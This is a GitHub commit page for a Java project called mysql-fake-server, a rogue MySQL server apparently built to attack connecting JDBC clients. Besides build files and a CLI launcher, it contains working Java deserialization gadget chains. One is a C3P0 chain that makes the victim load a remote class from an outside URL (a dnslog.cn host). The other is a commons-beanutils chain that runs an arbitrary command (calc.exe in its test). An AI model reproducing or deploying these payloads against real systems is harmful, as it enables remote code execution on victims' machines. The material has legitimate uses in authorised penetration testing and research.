Skip to content
This repository was archived by the owner on Mar 27, 2025. It is now read-only.

Commit 6425ea4

Browse files
committed
mysql-fake-server
0 parents  commit 6425ea4

File tree

81 files changed

+5658
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

81 files changed

+5658
-0
lines changed

.gitignore

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
target/
2+
!.mvn/wrapper/maven-wrapper.jar
3+
!**/src/main/**/target/
4+
!**/src/test/**/target/
5+
6+
### IntelliJ IDEA ###
7+
.idea/modules.xml
8+
.idea/jarRepositories.xml
9+
.idea/compiler.xml
10+
.idea/libraries/
11+
*.iws
12+
*.iml
13+
*.ipr
14+
15+
### Eclipse ###
16+
.apt_generated
17+
.classpath
18+
.factorypath
19+
.project
20+
.settings
21+
.springBeans
22+
.sts4-cache
23+
24+
### NetBeans ###
25+
/nbproject/private/
26+
/nbbuild/
27+
/dist/
28+
/nbdist/
29+
/.nb-gradle/
30+
build/
31+
!**/src/main/**/build/
32+
!**/src/test/**/build/
33+
34+
### VS Code ###
35+
.vscode/
36+
37+
### Mac OS ###
38+
.DS_Store
39+
40+
*.jar
41+
*.class
42+
.idea/

fake-mysql-cli/pom.xml

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
<parent>
7+
<groupId>me.n1ar4</groupId>
8+
<artifactId>FakeServer</artifactId>
9+
<version>0.0.1</version>
10+
</parent>
11+
12+
<artifactId>fake-mysql-cli</artifactId>
13+
14+
<properties>
15+
<maven.compiler.source>8</maven.compiler.source>
16+
<maven.compiler.target>8</maven.compiler.target>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
</properties>
19+
20+
<dependencies>
21+
<dependency>
22+
<groupId>com.beust</groupId>
23+
<artifactId>jcommander</artifactId>
24+
<version>1.82</version>
25+
</dependency>
26+
<dependency>
27+
<groupId>me.n1ar4</groupId>
28+
<artifactId>fake-mysql-proto</artifactId>
29+
<version>0.0.1</version>
30+
<scope>compile</scope>
31+
</dependency>
32+
<dependency>
33+
<groupId>me.n1ar4</groupId>
34+
<artifactId>fake-mysql-gui</artifactId>
35+
<version>0.0.1</version>
36+
<scope>compile</scope>
37+
</dependency>
38+
</dependencies>
39+
40+
<build>
41+
<plugins>
42+
<plugin>
43+
<artifactId>maven-assembly-plugin</artifactId>
44+
<configuration>
45+
<appendAssemblyId>false</appendAssemblyId>
46+
<descriptorRefs>
47+
<descriptorRef>jar-with-dependencies</descriptorRef>
48+
</descriptorRefs>
49+
<archive>
50+
<manifest>
51+
<mainClass>me.n1ar4.fake.cli.Cli</mainClass>
52+
</manifest>
53+
</archive>
54+
<outputDirectory>../</outputDirectory>
55+
</configuration>
56+
<executions>
57+
<execution>
58+
<id>make-assembly</id>
59+
<phase>package</phase>
60+
<goals>
61+
<goal>assembly</goal>
62+
</goals>
63+
</execution>
64+
</executions>
65+
</plugin>
66+
<plugin>
67+
<groupId>org.apache.maven.plugins</groupId>
68+
<artifactId>maven-compiler-plugin</artifactId>
69+
<version>3.10.1</version>
70+
<configuration>
71+
<source>${maven.compiler.source}</source>
72+
<target>${maven.compiler.target}</target>
73+
<compilerArgs>
74+
<arg>-Xlint:none</arg>
75+
</compilerArgs>
76+
</configuration>
77+
</plugin>
78+
</plugins>
79+
</build>
80+
81+
</project>
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package me.n1ar4.fake.cli;
2+
3+
import com.beust.jcommander.JCommander;
4+
import com.beust.jcommander.Parameter;
5+
import me.n1ar4.fake.proto.MySQLServer;
6+
7+
public class Cli {
8+
@Parameter(names = {"-p", "--port"}, description = "port")
9+
private int port;
10+
11+
public static void main(String[] args) {
12+
Cli main = new Cli();
13+
JCommander.newBuilder()
14+
.addObject(main)
15+
.build()
16+
.parse(args);
17+
18+
main.run();
19+
}
20+
21+
private void run() {
22+
if(port == 0) {
23+
port = 3308;
24+
}
25+
MySQLServer.setIp("0.0.0.0");
26+
MySQLServer.setPort(port);
27+
PrintUtil.print();
28+
MySQLServer.StartServer();
29+
}
30+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package me.n1ar4.fake.cli;
2+
3+
import me.n1ar4.fake.gui.Constant;
4+
5+
public class PrintUtil {
6+
public static void print(){
7+
System.out.println("\u001B[33;1m   へ     /|\n  /\7    ∠_/\n  / "+
8+
"│   / /\n │ Z _,< /   /`ヽ\n │     ヽ   /  "+
9+
"〉\n  Y     `  /  /\n ?● ? ●  ??〈  /\n ()  へ"+
10+
"    | \〈\n  >? ?_  ィ  │ //\n  / へ   / ?<| \\"+
11+
"\n  ヽ_?  (_/  │//\n  7       |/\n  >―r ̄ ̄~∠--|");
12+
System.out.println("\u001B[32;1m Fake MySQL Server Cli \u001B[0m");
13+
System.out.println("\u001B[32;1m Version: "+ Constant.version+" \u001B[0m");
14+
}
15+
}

fake-mysql-gadget/pom.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
<parent>
7+
<groupId>me.n1ar4</groupId>
8+
<artifactId>FakeServer</artifactId>
9+
<version>0.0.1</version>
10+
</parent>
11+
12+
<artifactId>fake-mysql-gadget</artifactId>
13+
14+
<properties>
15+
<maven.compiler.source>8</maven.compiler.source>
16+
<maven.compiler.target>8</maven.compiler.target>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
</properties>
19+
20+
</project>
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
package me.n1ar4.fake.gadget;
2+
3+
import com.mchange.v2.c3p0.PoolBackedDataSource;
4+
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
5+
6+
import java.util.logging.Logger;
7+
8+
import javax.naming.NamingException;
9+
import javax.naming.Reference;
10+
import javax.naming.Referenceable;
11+
import javax.sql.ConnectionPoolDataSource;
12+
import javax.sql.PooledConnection;
13+
import java.io.PrintWriter;
14+
import java.sql.SQLException;
15+
import java.sql.SQLFeatureNotSupportedException;
16+
17+
@SuppressWarnings("all")
18+
public class C3P0 {
19+
public Object getObject(String command) throws Exception {
20+
int sep = command.lastIndexOf(':');
21+
if (sep < 0) {
22+
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
23+
}
24+
25+
String url = command.substring(0, sep);
26+
String className = command.substring(sep + 1);
27+
28+
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
29+
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
30+
return b;
31+
}
32+
33+
34+
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
35+
36+
private String className;
37+
private String url;
38+
39+
public PoolSource(String className, String url) {
40+
this.className = className;
41+
this.url = url;
42+
}
43+
44+
public Reference getReference() throws NamingException {
45+
return new Reference("exploit", this.className, this.url);
46+
}
47+
48+
public PrintWriter getLogWriter() throws SQLException {
49+
return null;
50+
}
51+
52+
public void setLogWriter(PrintWriter out) throws SQLException {
53+
}
54+
55+
public void setLoginTimeout(int seconds) throws SQLException {
56+
}
57+
58+
public int getLoginTimeout() throws SQLException {
59+
return 0;
60+
}
61+
62+
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
63+
return null;
64+
}
65+
66+
public PooledConnection getPooledConnection() throws SQLException {
67+
return null;
68+
}
69+
70+
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
71+
return null;
72+
}
73+
74+
}
75+
76+
77+
public static void main(final String[] args) throws Exception {
78+
C3P0 c = new C3P0();
79+
Object o = c.getObject("http://05x0fw.dnslog.cn/:test");
80+
SerUtil.deserializeObject(SerUtil.serializeObject(o));
81+
}
82+
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package me.n1ar4.fake.gadget;
2+
3+
import org.apache.commons.beanutils.BeanComparator;
4+
5+
import java.math.BigInteger;
6+
import java.util.PriorityQueue;
7+
8+
@SuppressWarnings("all")
9+
public class CB {
10+
public Object getObject(final String command) throws Exception {
11+
final Object templates = Gadgets.createTemplatesImpl(command);
12+
// mock method name until armed
13+
final BeanComparator comparator = new BeanComparator("lowestSetBit");
14+
15+
// create queue with numbers and basic comparator
16+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
17+
// stub data for replacement later
18+
queue.add(new BigInteger("1"));
19+
queue.add(new BigInteger("1"));
20+
21+
// switch method called by comparator
22+
Reflections.setFieldValue(comparator, "property", "outputProperties");
23+
24+
// switch contents of queue
25+
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
26+
queueArray[0] = templates;
27+
queueArray[1] = templates;
28+
29+
return queue;
30+
}
31+
32+
public static void main(String[] args) throws Exception {
33+
CB c = new CB();
34+
Object obj = c.getObject("calc.exe");
35+
SerUtil.deserializeObject(SerUtil.serializeObject(obj));
36+
}
37+
}

0 commit comments

Comments
 (0)